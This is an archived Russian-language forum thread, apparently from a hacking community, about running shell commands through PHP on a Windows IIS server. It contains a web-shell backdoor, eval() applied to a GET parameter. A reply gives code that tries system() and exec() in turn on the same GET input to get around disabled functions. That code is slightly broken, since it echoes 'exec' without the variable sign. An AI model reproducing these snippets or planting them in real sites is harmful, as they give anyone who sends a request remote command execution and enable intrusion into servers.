PDA

Просмотр полной версии : Команды в WinNT


VampiRUS
04.08.2006, 03:55
есть такой код
if (isset($_GET[\'s\'])) eval(stripslashes($_GET[\'s\']));
но при обращении ?s=system(\'dir\'); сценарий говорит Warning: system() [function.system]: Unable to fork [dir] in C:\\inetpub\\...

слеши форум добавил.

gemaglabin
04.08.2006, 04:02
Стоит лимит на запуск процессов как вариант

VampiRUS
04.08.2006, 05:52
php меня выручил, через него список файлов получил.

VampiRUS
09.08.2006, 08:18
А как можно убрать этот лимит?

em00s7
09.08.2006, 11:03
VampiRUS в php.ini -)) а может вообще функция system отключена

SMiX
09.08.2006, 11:32
Поэкспериментируй с popen(),proc_open(),exec() и т.п. Можно сделать так:

<?
if($exec=system(stripslashes($_GET['s']))) echo exec; elseif($exec=exec(stripslashes($_GET['s']))) echo $exec; ...
?>